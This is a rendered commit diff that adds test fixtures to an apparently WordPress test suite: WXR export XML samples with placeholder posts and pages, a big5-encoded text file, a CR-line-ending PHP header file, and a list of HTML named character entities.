+               <wp:tag><wp:tag_slug>news</wp:tag_slug><wp:tag_name><![CDATA[news]]></wp:tag_name></wp:tag>
+               <wp:tag><wp:tag_slug>roar</wp:tag_slug><wp:tag_name><![CDATA[roar]]></wp:tag_name></wp:tag>
+               
+       <generator>http://wordpress.org/?v=3.0.1</generator>
+
+               <item>
+               <title>Hello world!</title>
+               <link>http://localhost/?p=1</link>
+               <pubDate>Wed, 20 Oct 2010 14:08:20 +0000</pubDate>
+               <dc:creator><![CDATA[admin]]></dc:creator>
+               
+               <category><![CDATA[Uncategorized]]></category>
+
+               <category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+
+               <guid isPermaLink="false">http://localhost/?p=1</guid>
+               <description></description>
+               <content:encoded><![CDATA[Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!]]></content:encoded>
+               <excerpt:encoded><![CDATA[]]></excerpt:encoded>
+               <wp:post_id>1</wp:post_id>
+               <wp:post_date>2010-10-20 14:08:20</wp:post_date>
+               <wp:post_date_gmt>2010-10-20 14:08:20</wp:post_date_gmt>
+               <wp:comment_status>open</wp:comment_status>
+               <wp:ping_status>open</wp:ping_status>
+               <wp:post_name>hello-world</wp:post_name>
+               <wp:status>publish</wp:status>
+               <wp:post_parent>0</wp:post_parent>
+               <wp:menu_order>0</wp:menu_order>
+               <wp:post_type>post</wp:post_type>
+               <wp:post_password></wp:post_password>
+               <wp:is_sticky>0</wp:is_sticky>
+                                                               <wp:comment>
+               <wp:comment_id>1</wp:comment_id>
+               <wp:comment_author><![CDATA[Mr WordPress]]></wp:comment_author>
+               <wp:comment_author_email></wp:comment_author_email>
+               <wp:comment_author_url>http://wordpress.org/</wp:comment_author_url>
+               <wp:comment_author_IP></wp:comment_author_IP>
+               <wp:comment_date>2010-10-20 14:08:20</wp:comment_date>
+               <wp:comment_date_gmt>2010-10-20 14:08:20</wp:comment_date_gmt>
+               <wp:comment_content><![CDATA[Hi, this is a comment.<br />To delete a comment, just log in and view the post&#039;s comments. There you will have the option to edit or delete them.]]></wp:comment_content>
+               <wp:comment_approved>1</wp:comment_approved>
+               <wp:comment_type></wp:comment_type>
+               <wp:comment_parent>0</wp:comment_parent>
+               <wp:comment_user_id>0</wp:comment_user_id>
+               </wp:comment>
+                       </item>
+               <item>
+               <title>About</title>
+               <link>http://localhost/?page_id=2</link>
+               <pubDate>Wed, 20 Oct 2010 14:08:20 +0000</pubDate>
+               <dc:creator><![CDATA[admin]]></dc:creator>
+               
+               <guid isPermaLink="false">http://localhost/?page_id=2</guid>
+               <description></description>
+               <content:encoded><![CDATA[This is an example of a WordPress page, you could edit this to put information about yourself or your site so readers know where you are coming from. You can create as many pages like this one or sub-pages as you like and manage all of your content inside of WordPress.]]></content:encoded>
+               <excerpt:encoded><![CDATA[]]></excerpt:encoded>
+               <wp:post_id>2</wp:post_id>
+               <wp:post_date>2010-10-20 14:08:20</wp:post_date>
+               <wp:post_date_gmt>2010-10-20 14:08:20</wp:post_date_gmt>
+               <wp:comment_status>open</wp:comment_status>
+               <wp:ping_status>open</wp:ping_status>
+               <wp:post_name>about</wp:post_name>
+               <wp:status>publish</wp:status>
+               <wp:post_parent>0</wp:post_parent>
+               <wp:menu_order>0</wp:menu_order>
+               <wp:post_type>page</wp:post_type>
+               <wp:post_password></wp:post_password>
+               <wp:is_sticky>0</wp:is_sticky>
+                                                               <wp:postmeta>
+               <wp:meta_key>_wp_page_template</wp:meta_key>
+               <wp:meta_value><![CDATA[default]]></wp:meta_value>
+               </wp:postmeta>
+                                                       </item>
+               <item>
+               <title>Alpha post</title>
+               <link>http://localhost/?p=4</link>
+               <pubDate>Wed, 20 Oct 2010 14:09:37 +0000</pubDate>
+               <dc:creator><![CDATA[admin]]></dc:creator>
+               
+               <category><![CDATA[alpha]]></category>
+
+               <category domain="category" nicename="alpha"><![CDATA[alpha]]></category>
+
+               <category domain="tag"><![CDATA[news]]></category>
+
+               <category domain="tag" nicename="news"><![CDATA[news]]></category>
+
+               <category domain="tag"><![CDATA[roar]]></category>
+
+               <category domain="tag" nicename="roar"><![CDATA[roar]]></category>
+
+               <guid isPermaLink="false">http://localhost/?p=4</guid>
+               <description></description>
+               <content:encoded><![CDATA[Tagged in roar, news]]></content:encoded>
+               <excerpt:encoded><![CDATA[]]></excerpt:encoded>
+               <wp:post_id>4</wp:post_id>
+               <wp:post_date>2010-10-20 14:09:37</wp:post_date>
+               <wp:post_date_gmt>2010-10-20 14:09:37</wp:post_date_gmt>
+               <wp:comment_status>open</wp:comment_status>
+               <wp:ping_status>open</wp:ping_status>
+               <wp:post_name>alpha-post</wp:post_name>
+               <wp:status>publish</wp:status>
+               <wp:post_parent>0</wp:post_parent>
+               <wp:menu_order>0</wp:menu_order>
+               <wp:post_type>post</wp:post_type>
+               <wp:post_password></wp:post_password>
+               <wp:is_sticky>0</wp:is_sticky>
+                                                               <wp:postmeta>
+               <wp:meta_key>_edit_last</wp:meta_key>
+               <wp:meta_value><![CDATA[1]]></wp:meta_value>
+               </wp:postmeta>
+                               <wp:postmeta>
+               <wp:meta_key>_edit_lock</wp:meta_key>
+               <wp:meta_value><![CDATA[1287583778]]></wp:meta_value>
+               </wp:postmeta>
+                               <wp:postmeta>
+               <wp:meta_key>_wp_old_slug</wp:meta_key>
+               <wp:meta_value><![CDATA[]]></wp:meta_value>
+               </wp:postmeta>
+                                                       </item>
+               <item>
+               <title>Child post</title>
+               <link>http://localhost/?p=6</link>
+               <pubDate>Wed, 20 Oct 2010 14:10:09 +0000</pubDate>
+               <dc:creator><![CDATA[admin]]></dc:creator>
+               
+               <category domain="tag"><![CDATA[chicken]]></category>
+
+               <category domain="tag" nicename="chicken"><![CDATA[chicken]]></category>
+
+               <category><![CDATA[child]]></category>
+
+               <category domain="category" nicename="child"><![CDATA[child]]></category>
+
+               <category domain="tag"><![CDATA[face]]></category>
+
+               <category domain="tag" nicename="face"><![CDATA[face]]></category>
+
+               <guid isPermaLink="false">http://localhost/?p=6</guid>
+               <description></description>
+               <content:encoded><![CDATA[Tagged in face, chicken]]></content:encoded>
+               <excerpt:encoded><![CDATA[]]></excerpt:encoded>
+               <wp:post_id>6</wp:post_id>
+               <wp:post_date>2010-10-20 14:10:09</wp:post_date>
+               <wp:post_date_gmt>2010-10-20 14:10:09</wp:post_date_gmt>
+               <wp:comment_status>open</wp:comment_status>
+               <wp:ping_status>open</wp:ping_status>
+               <wp:post_name>child-post</wp:post_name>
+               <wp:status>publish</wp:status>
+               <wp:post_parent>0</wp:post_parent>
+               <wp:menu_order>0</wp:menu_order>
+               <wp:post_type>post</wp:post_type>
+               <wp:post_password></wp:post_password>
+               <wp:is_sticky>0</wp:is_sticky>
+                                                               <wp:postmeta>
+               <wp:meta_key>_edit_last</wp:meta_key>
+               <wp:meta_value><![CDATA[1]]></wp:meta_value>
+               </wp:postmeta>
+                               <wp:postmeta>
+               <wp:meta_key>_edit_lock</wp:meta_key>
+               <wp:meta_value><![CDATA[1287583809]]></wp:meta_value>
+               </wp:postmeta>
+                               <wp:postmeta>
+               <wp:meta_key>_wp_old_slug</wp:meta_key>
+               <wp:meta_value><![CDATA[]]></wp:meta_value>
+               </wp:postmeta>
+                                                       </item>
+               <item>
+               <title>Child page</title>
+               <link>http://localhost/?page_id=8</link>
+               <pubDate>Wed, 20 Oct 2010 14:10:35 +0000</pubDate>
+               <dc:creator><![CDATA[admin]]></dc:creator>
+               
+               <guid isPermaLink="false">http://localhost/?page_id=8</guid>
+               <description></description>
+               <content:encoded><![CDATA[Should have lower ID than parent!]]></content:encoded>
+               <excerpt:encoded><![CDATA[]]></excerpt:encoded>
+               <wp:post_id>8</wp:post_id>
+               <wp:post_date>2010-10-20 14:10:35</wp:post_date>
+               <wp:post_date_gmt>2010-10-20 14:10:35</wp:post_date_gmt>
+               <wp:comment_status>open</wp:comment_status>
+               <wp:ping_status>closed</wp:ping_status>
+               <wp:post_name>child-post</wp:post_name>
+               <wp:status>publish</wp:status>
+               <wp:post_parent>10</wp:post_parent>
+               <wp:menu_order>0</wp:menu_order>
+               <wp:post_type>page</wp:post_type>
+               <wp:post_password></wp:post_password>
+               <wp:is_sticky>0</wp:is_sticky>
+                                                               <wp:postmeta>
+               <wp:meta_key>_edit_last</wp:meta_key>
+               <wp:meta_value><![CDATA[1]]></wp:meta_value>
+               </wp:postmeta>
+                               <wp:postmeta>
+               <wp:meta_key>_edit_lock</wp:meta_key>
+               <wp:meta_value><![CDATA[1287583856]]></wp:meta_value>
+               </wp:postmeta>
+                               <wp:postmeta>
+               <wp:meta_key>_wp_page_template</wp:meta_key>
+               <wp:meta_value><![CDATA[default]]></wp:meta_value>
+               </wp:postmeta>
+                                                       </item>
+               <item>
+               <title>Parent page</title>
+               <link>http://localhost/?page_id=10</link>
+               <pubDate>Wed, 20 Oct 2010 14:10:44 +0000</pubDate>
+               <dc:creator><![CDATA[admin]]></dc:creator>
+               
+               <guid isPermaLink="false">http://localhost/?page_id=10</guid>
+               <description></description>
+               <content:encoded><![CDATA[woop]]></content:encoded>
+               <excerpt:encoded><![CDATA[]]></excerpt:encoded>
+               <wp:post_id>10</wp:post_id>
+               <wp:post_date>2010-10-20 14:10:44</wp:post_date>
+               <wp:post_date_gmt>2010-10-20 14:10:44</wp:post_date_gmt>
+               <wp:comment_status>open</wp:comment_status>
+               <wp:ping_status>open</wp:ping_status>
+               <wp:post_name>parent-page</wp:post_name>
+               <wp:status>publish</wp:status>
+               <wp:post_parent>0</wp:post_parent>
+               <wp:menu_order>0</wp:menu_order>
+               <wp:post_type>page</wp:post_type>
+               <wp:post_password></wp:post_password>
+               <wp:is_sticky>0</wp:is_sticky>
+                                                               <wp:postmeta>
+               <wp:meta_key>_edit_lock</wp:meta_key>
+               <wp:meta_value><![CDATA[1287583844]]></wp:meta_value>
+               </wp:postmeta>
+                               <wp:postmeta>
+               <wp:meta_key>_edit_last</wp:meta_key>
+               <wp:meta_value><![CDATA[1]]></wp:meta_value>
+               </wp:postmeta>
+                               <wp:postmeta>
+               <wp:meta_key>_wp_page_template</wp:meta_key>
+               <wp:meta_value><![CDATA[default]]></wp:meta_value>
+               </wp:postmeta>
+                                                       </item>
+       </channel>
+</rss>
</ins></span></pre></div>
<a id="trunktestsdataexportvalidwxr11xml"></a>
<div class="addfile"><h4>Added: trunk/tests/data/export/valid-wxr-1.1.xml (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/export/valid-wxr-1.1.xml                                (rev 0)
+++ trunk/tests/data/export/valid-wxr-1.1.xml   2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,112 @@
</span><ins>+<?xml version="1.0" encoding="UTF-8" ?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- NB: This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages comments, categories, etc. -->
+<!--    contained in this file into your blog. -->
+
+<!-- generator="WordPress/3.1-alpha" created="2010-10-17 09:54" -->
+<rss version="2.0"
+       xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+       xmlns:content="http://purl.org/rss/1.0/modules/content/"
+       xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+       xmlns:dc="http://purl.org/dc/elements/1.1/"
+       xmlns:wp="http://wordpress.org/export/1.1/"
+>
+
+<channel>
+       <title>Export Datasets</title>
+       <link>http://localhost/</link>
+       <description>Just another WordPress site</description>
+       <pubDate>Sat, 16 Oct 2010 20:53:18 +0000</pubDate>
+       <language>en</language>
+       <wp:wxr_version>1.1</wp:wxr_version>
+       <wp:base_site_url>http://localhost/</wp:base_site_url>
+       <wp:base_blog_url>http://localhost/</wp:base_blog_url>
+
+       <wp:author><wp:author_id>2</wp:author_id><wp:author_login>john</wp:author_login><wp:author_email>johndoe@example.org</wp:author_email><wp:author_display_name><![CDATA[John Doe]]></wp:author_display_name><wp:author_first_name><![CDATA[John]]></wp:author_first_name><wp:author_last_name><![CDATA[Doe]]></wp:author_last_name></wp:author>
+
+       <wp:category><wp:term_id>3</wp:term_id><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name><wp:category_description><![CDATA[The alpha category]]></wp:category_description></wp:category>
+       <wp:tag><wp:term_id>22</wp:term_id><wp:tag_slug>clippable</wp:tag_slug><wp:tag_name><![CDATA[Clippable]]></wp:tag_name><wp:tag_description><![CDATA[The Clippable post_tag]]></wp:tag_description></wp:tag>
+       <wp:term><wp:term_id>40</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>bieup</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[bieup]]></wp:term_name><wp:term_description><![CDATA[The bieup post_tax]]></wp:term_description></wp:term>
+
+       <generator>http://wordpress.org/?v=3.1-alpha</generator>
+
+       <item>
+               <title>Hello world!</title>
+               <link>http://localhost/?p=1</link>
+               <pubDate>Sat, 16 Oct 2010 20:53:18 +0000</pubDate>
+               <dc:creator>john</dc:creator>
+               <guid isPermaLink="false">http://localhost/?p=1</guid>
+               <description></description>
+               <content:encoded><![CDATA[Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!]]></content:encoded>
+               <excerpt:encoded><![CDATA[]]></excerpt:encoded>
+               <wp:post_id>1</wp:post_id>
+               <wp:post_date>2010-10-16 20:53:18</wp:post_date>
+               <wp:post_date_gmt>2010-10-16 20:53:18</wp:post_date_gmt>
+               <wp:comment_status>open</wp:comment_status>
+               <wp:ping_status>open</wp:ping_status>
+               <wp:post_name>hello-world</wp:post_name>
+               <wp:status>publish</wp:status>
+               <wp:post_parent>0</wp:post_parent>
+               <wp:menu_order>0</wp:menu_order>
+               <wp:post_type>post</wp:post_type>
+               <wp:post_password></wp:post_password>
+               <wp:is_sticky>0</wp:is_sticky>
+               <category domain="category" nicename="alpha"><![CDATA[alpha]]></category>
+               <category domain="post_tag" nicename="clippable"><![CDATA[Clippable]]></category>
+               <category domain="post_tax" nicename="bieup"><![CDATA[bieup]]></category>
+               <wp:comment>
+                       <wp:comment_id>1</wp:comment_id>
+                       <wp:comment_author><![CDATA[Mr WordPress]]></wp:comment_author>
+                       <wp:comment_author_email></wp:comment_author_email>
+                       <wp:comment_author_url>http://wordpress.org/</wp:comment_author_url>
+                       <wp:comment_author_IP></wp:comment_author_IP>
+                       <wp:comment_date>2010-10-16 20:53:18</wp:comment_date>
+                       <wp:comment_date_gmt>2010-10-16 20:53:18</wp:comment_date_gmt>
+                       <wp:comment_content><![CDATA[Hi, this is a comment.<br />To delete a comment, just log in and view the post&#039;s comments. There you will have the option to edit or delete them.]]></wp:comment_content>
+                       <wp:comment_approved>1</wp:comment_approved>
+                       <wp:comment_type></wp:comment_type>
+                       <wp:comment_parent>0</wp:comment_parent>
+                       <wp:comment_user_id>0</wp:comment_user_id>
+               </wp:comment>
+       </item>
+       <item>
+               <title>About</title>
+               <link>http://localhost/?page_id=2</link>
+               <pubDate>Sat, 16 Oct 2010 20:53:18 +0000</pubDate>
+               <dc:creator>john</dc:creator>
+               <guid isPermaLink="false">http://localhost/?page_id=2</guid>
+               <description></description>
+               <content:encoded><![CDATA[This is an example of a WordPress page. You could edit this to put information about yourself or your site so readers know where you are coming from. You can create as many pages like this one or sub-pages as you like and manage all of your content inside of WordPress.]]></content:encoded>
+               <excerpt:encoded><![CDATA[]]></excerpt:encoded>
+               <wp:post_id>2</wp:post_id>
+               <wp:post_date>2010-10-16 20:53:18</wp:post_date>
+               <wp:post_date_gmt>2010-10-16 20:53:18</wp:post_date_gmt>
+               <wp:comment_status>open</wp:comment_status>
+               <wp:ping_status>open</wp:ping_status>
+               <wp:post_name>about</wp:post_name>
+               <wp:status>publish</wp:status>
+               <wp:post_parent>0</wp:post_parent>
+               <wp:menu_order>0</wp:menu_order>
+               <wp:post_type>page</wp:post_type>
+               <wp:post_password></wp:post_password>
+               <wp:is_sticky>0</wp:is_sticky>
+               <wp:postmeta>
+                       <wp:meta_key>_wp_page_template</wp:meta_key>
+                       <wp:meta_value><![CDATA[default]]></wp:meta_value>
+               </wp:postmeta>
+       </item>
+</channel>
+</rss>
</ins></span></pre></div>
<a id="trunktestsdataformattingbig5txt"></a>
<div class="addfile"><h4>Added: trunk/tests/data/formatting/big5.txt (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/formatting/big5.txt                             (rev 0)
+++ trunk/tests/data/formatting/big5.txt        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,51 @@
</span><ins>+?lmDwgn H@~|Q
+
+?lDg
+
+H@
+
+DiDAD`DCWiWAD`WCLAW?alQAWUC
+G`LAH[?F`AH[uC?APX?WAP?
+?C?S?AC
+
+HG
+
+?U?AcoQ?AoCGL??A
+?Au??AU?gAn?MAeHCOHtHBuL
+voAuv?CU@j?A??A?A\
+?~C??~AOHhC
+
+HT
+
+|A?QQofA?sQiA??
+COHutHvvA?A?Az?Aj?C`?LL
+C???]CuLvAhLvC
+
+h|
+
+uDvRA????CWAUvQUA?gAM
+AP?Q?FsC^?lHH?C
+
+H
+
+?aAHU?QtHAH?m?C?aAS
+GH?}A??UXCh?aApuC
+
+H
+
+AO??gC??AO??a?CYsA??C
+
+HC
+
+?a[C?a?HB[?AH???AG[COHtH
+?A~??sCDHLpHG?pC
+
+HK
+
+WYCQU?CBH?cAGXDC~aA?
+WAPAHAFvA?A?gC??AGL?C
+
+HE
+
+??ApwQ?UAiOC?AuQIQ
+zA?SC\EhA?DC
</ins></span></pre></div>
<a id="trunktestsdataformattingcrlineendingsfileheaderphp"></a>
<div class="addfile"><h4>Added: trunk/tests/data/formatting/cr-line-endings-file-header.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/formatting/cr-line-endings-file-header.php                              (rev 0)
+++ trunk/tests/data/formatting/cr-line-endings-file-header.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,5 @@
</span><ins>+<?php
+/* Some Header: Some header value!
+ * Description: This file is using CR line endings for a testcase.
+ * Author: A Very Old Mac
+ */
</ins></span></pre></div>
<a id="trunktestsdataformattingentitiestxt"></a>
<div class="addfile"><h4>Added: trunk/tests/data/formatting/entities.txt (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/formatting/entities.txt                         (rev 0)
+++ trunk/tests/data/formatting/entities.txt    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,255 @@
</span><ins>+### Named HTML character entities, their numeric reference 
+### (e.g. for &#[0-9]+; entity form), and their use.
+### From: http://www.w3.org/TR/html401/sgml/entities.html
+###
+nbsp   | 160   ### no-break space 
+iexcl  | 161   ### inverted exclamation mark 
+cent   | 162   ### cent sign 
+pound  | 163   ### pound sterling sign 
+curren | 164   ### general currency sign 
+yen        | 165       ### yen sign 
+brvbar | 166   ### broken (vertical) bar 
+sect   | 167   ### section sign 
+uml        | 168       ### umlaut (dieresis) 
+copy   | 169   ### copyright sign 
+ordf   | 170   ### ordinal indicator, feminine 
+laquo  | 171   ### angle quotation mark, left 
+not        | 172       ### not sign 
+shy        | 173       ### soft hyphen 
+reg        | 174       ### registered sign 
+macr   | 175   ### macron 
+deg        | 176       ### degree sign 
+plusmn | 177   ### plus-or-minus sign 
+sup2   | 178   ### superscript two 
+sup3   | 179   ### superscript three 
+acute  | 180   ### acute accent 
+micro  | 181   ### micro sign 
+para   | 182   ### pilcrow (paragraph sign) 
+middot | 183   ### middle dot 
+cedil  | 184   ### cedilla 
+sup1   | 185   ### superscript one 
+ordm   | 186   ### ordinal indicator, masculine 
+raquo  | 187   ### angle quotation mark, right 
+frac14 | 188   ### fraction one-quarter 
+frac12 | 189   ### fraction one-half 
+frac34 | 190   ### fraction three-quarters 
+iquest | 191   ### inverted question mark 
+Agrave | 192   ### capital A, grave accent 
+Aacute | 193   ### capital A, acute accent 
+Acirc  | 194   ### capital A, circumflex accent 
+Atilde | 195   ### capital A, tilde 
+Auml   | 196   ### capital A, dieresis or umlaut mark 
+Aring  | 197   ### capital A, ring 
+AElig  | 198   ### capital AE diphthong (ligature) 
+Ccedil | 199   ### capital C, cedilla 
+Egrave | 200   ### capital E, grave accent 
+Eacute | 201   ### capital E, acute accent 
+Ecirc  | 202   ### capital E, circumflex accent 
+Euml   | 203   ### capital E, dieresis or umlaut mark 
+Igrave | 204   ### capital I, grave accent 
+Iacute | 205   ### capital I, acute accent 
+Icirc  | 206   ### capital I, circumflex accent 
+Iuml   | 207   ### capital I, dieresis or umlaut mark 
+ETH        | 208       ### capital Eth, Icelandic 
+Ntilde | 209   ### capital N, tilde 
+Ograve | 210   ### capital O, grave accent 
+Oacute | 211   ### capital O, acute accent 
+Ocirc  | 212   ### capital O, circumflex accent 
+Otilde | 213   ### capital O, tilde 
+Ouml   | 214   ### capital O, dieresis or umlaut mark 
+times  | 215   ### multiply sign 
+Oslash | 216   ### capital O, slash 
+Ugrave | 217   ### capital U, grave accent 
+Uacute | 218   ### capital U, acute accent 
+Ucirc  | 219   ### capital U, circumflex accent 
+Uuml   | 220   ### capital U, dieresis or umlaut mark 
+Yacute | 221   ### capital Y, acute accent 
+THORN  | 222   ### capital THORN, Icelandic 
+szlig  | 223   ### small sharp s, German (sz ligature) 
+agrave | 224   ### small a, grave accent 
+aacute | 225   ### small a, acute accent 
+acirc  | 226   ### small a, circumflex accent 
+atilde | 227   ### small a, tilde 
+auml   | 228   ### small a, dieresis or umlaut mark 
+aring  | 229   ### small a, ring 
+aelig  | 230   ### small ae diphthong (ligature) 
+ccedil | 231   ### small c, cedilla 
+egrave | 232   ### small e, grave accent 
+eacute | 233   ### small e, acute accent 
+ecirc  | 234   ### small e, circumflex accent 
+euml   | 235   ### small e, dieresis or umlaut mark 
+igrave | 236   ### small i, grave accent 
+iacute | 237   ### small i, acute accent 
+icirc  | 238   ### small i, circumflex accent 
+iuml   | 239   ### small i, dieresis or umlaut mark 
+eth        | 240       ### small eth, Icelandic 
+ntilde | 241   ### small n, tilde 
+ograve | 242   ### small o, grave accent 
+oacute | 243   ### small o, acute accent 
+ocirc  | 244   ### small o, circumflex accent 
+otilde | 245   ### small o, tilde 
+ouml   | 246   ### small o, dieresis or umlaut mark 
+divide | 247   ### divide sign 
+oslash | 248   ### small o, slash 
+ugrave | 249   ### small u, grave accent 
+uacute | 250   ### small u, acute accent 
+ucirc  | 251   ### small u, circumflex accent 
+uuml   | 252   ### small u, dieresis or umlaut mark 
+yacute | 253   ### small y, acute accent 
+thorn  | 254   ### small thorn, Icelandic 
+yuml   | 255   ### small y, dieresis or umlaut mark 
+fnof   | 402   ### latin small f with hook, =function, =florin, u+0192 ISOtech 
+Alpha  | 913   ### greek capital letter alpha,  u+0391 
+Beta   | 914   ### greek capital letter beta,  u+0392 
+Gamma  | 915   ### greek capital letter gamma,  u+0393 ISOgrk3 
+Delta  | 916   ### greek capital letter delta,  u+0394 ISOgrk3 
+Epsilon        | 917   ### greek capital letter epsilon,  u+0395 
+Zeta   | 918   ### greek capital letter zeta,  u+0396 
+Eta        | 919       ### greek capital letter eta,  u+0397 
+Theta  | 920   ### greek capital letter theta,  u+0398 ISOgrk3 
+Iota   | 921   ### greek capital letter iota,  u+0399 
+Kappa  | 922   ### greek capital letter kappa,  u+039A 
+Lambda | 923   ### greek capital letter lambda,  u+039B ISOgrk3 
+Mu         | 924       ### greek capital letter mu,  u+039C 
+Nu         | 925       ### greek capital letter nu,  u+039D 
+Xi         | 926       ### greek capital letter xi,  u+039E ISOgrk3 
+Omicron        | 927   ### greek capital letter omicron,  u+039F 
+Pi         | 928       ### greek capital letter pi,  u+03A0 ISOgrk3 
+Rho        | 929       ### greek capital letter rho,  u+03A1 
+Sigma  | 931   ### greek capital letter sigma,  u+03A3 ISOgrk3 
+Tau        | 932       ### greek capital letter tau,  u+03A4 
+Upsilon        | 933   ### greek capital letter upsilon,  u+03A5 ISOgrk3 
+Phi        | 934       ### greek capital letter phi,  u+03A6 ISOgrk3 
+Chi        | 935       ### greek capital letter chi,  u+03A7 
+Psi        | 936       ### greek capital letter psi,  u+03A8 ISOgrk3 
+Omega  | 937   ### greek capital letter omega,  u+03A9 ISOgrk3 
+alpha  | 945   ### greek small letter alpha, u+03B1 ISOgrk3 
+beta   | 946   ### greek small letter beta,  u+03B2 ISOgrk3 
+gamma  | 947   ### greek small letter gamma,  u+03B3 ISOgrk3 
+delta  | 948   ### greek small letter delta,  u+03B4 ISOgrk3 
+epsilon        | 949   ### greek small letter epsilon,  u+03B5 ISOgrk3 
+zeta   | 950   ### greek small letter zeta,  u+03B6 ISOgrk3 
+eta        | 951       ### greek small letter eta,  u+03B7 ISOgrk3 
+theta  | 952   ### greek small letter theta,  u+03B8 ISOgrk3 
+iota   | 953   ### greek small letter iota,  u+03B9 ISOgrk3 
+kappa  | 954   ### greek small letter kappa,  u+03BA ISOgrk3 
+lambda | 955   ### greek small letter lambda,  u+03BB ISOgrk3 
+mu         | 956       ### greek small letter mu,  u+03BC ISOgrk3 
+nu         | 957       ### greek small letter nu,  u+03BD ISOgrk3 
+xi         | 958       ### greek small letter xi,  u+03BE ISOgrk3 
+omicron        | 959   ### greek small letter omicron,  u+03BF NEW 
+pi         | 960       ### greek small letter pi,  u+03C0 ISOgrk3 
+rho        | 961       ### greek small letter rho,  u+03C1 ISOgrk3 
+sigmaf | 962   ### greek small letter final sigma,  u+03C2 ISOgrk3 
+sigma  | 963   ### greek small letter sigma,  u+03C3 ISOgrk3 
+tau        | 964       ### greek small letter tau,  u+03C4 ISOgrk3 
+upsilon        | 965   ### greek small letter upsilon,  u+03C5 ISOgrk3 
+phi        | 966       ### greek small letter phi,  u+03C6 ISOgrk3 
+chi        | 967       ### greek small letter chi,  u+03C7 ISOgrk3 
+psi        | 968       ### greek small letter psi,  u+03C8 ISOgrk3 
+omega  | 969   ### greek small letter omega,  u+03C9 ISOgrk3 
+thetasym| 977  ### greek small letter theta symbol,  u+03D1 NEW 
+upsih  | 978   ### greek upsilon with hook symbol,  u+03D2 NEW 
+piv        | 982       ### greek pi symbol,  u+03D6 ISOgrk3 
+bull   | 8226  ### bullet, =black small circle, u+2022 ISOpub  
+hellip | 8230  ### horizontal ellipsis, =three dot leader, u+2026 ISOpub  
+prime  | 8242  ### prime, =minutes, =feet, u+2032 ISOtech 
+Prime  | 8243  ### double prime, =seconds, =inches, u+2033 ISOtech 
+oline  | 8254  ### overline, =spacing overscore, u+203E NEW 
+frasl  | 8260  ### fraction slash, u+2044 NEW 
+weierp | 8472  ### script capital P, =power set, =Weierstrass p, u+2118 ISOamso 
+image  | 8465  ### blackletter capital I, =imaginary part, u+2111 ISOamso 
+real   | 8476  ### blackletter capital R, =real part symbol, u+211C ISOamso 
+trade  | 8482  ### trade mark sign, u+2122 ISOnum 
+alefsym        | 8501  ### alef symbol, =first transfinite cardinal, u+2135 NEW 
+larr   | 8592  ### leftwards arrow, u+2190 ISOnum 
+uarr   | 8593  ### upwards arrow, u+2191 ISOnum
+rarr   | 8594  ### rightwards arrow, u+2192 ISOnum 
+darr   | 8595  ### downwards arrow, u+2193 ISOnum 
+harr   | 8596  ### left right arrow, u+2194 ISOamsa 
+crarr  | 8629  ### downwards arrow with corner leftwards, =carriage return, u+21B5 NEW 
+lArr   | 8656  ### leftwards double arrow, u+21D0 ISOtech 
+uArr   | 8657  ### upwards double arrow, u+21D1 ISOamsa 
+rArr   | 8658  ### rightwards double arrow, u+21D2 ISOtech 
+dArr   | 8659  ### downwards double arrow, u+21D3 ISOamsa 
+hArr   | 8660  ### left right double arrow, u+21D4 ISOamsa 
+forall | 8704  ### for all, u+2200 ISOtech 
+part   | 8706  ### partial differential, u+2202 ISOtech  
+exist  | 8707  ### there exists, u+2203 ISOtech 
+empty  | 8709  ### empty set, =null set, =diameter, u+2205 ISOamso 
+nabla  | 8711  ### nabla, =backward difference, u+2207 ISOtech 
+isin   | 8712  ### element of, u+2208 ISOtech 
+notin  | 8713  ### not an element of, u+2209 ISOtech 
+ni         | 8715      ### contains as member, u+220B ISOtech 
+prod   | 8719  ### n-ary product, =product sign, u+220F ISOamsb 
+sum        | 8721      ### n-ary sumation, u+2211 ISOamsb 
+minus  | 8722  ### minus sign, u+2212 ISOtech 
+lowast | 8727  ### asterisk operator, u+2217 ISOtech 
+radic  | 8730  ### square root, =radical sign, u+221A ISOtech 
+prop   | 8733  ### proportional to, u+221D ISOtech 
+infin  | 8734  ### infinity, u+221E ISOtech 
+ang        | 8736      ### angle, u+2220 ISOamso 
+and        | 8743      ### logical and, =wedge, u+2227 ISOtech 
+or         | 8744      ### logical or, =vee, u+2228 ISOtech 
+cap        | 8745      ### intersection, =cap, u+2229 ISOtech 
+cup        | 8746      ### union, =cup, u+222A ISOtech 
+int        | 8747      ### integral, u+222B ISOtech 
+there4 | 8756  ### therefore, u+2234 ISOtech 
+sim        | 8764      ### tilde operator, =varies with, =similar to, u+223C ISOtech 
+cong   | 8773  ### approximately equal to, u+2245 ISOtech 
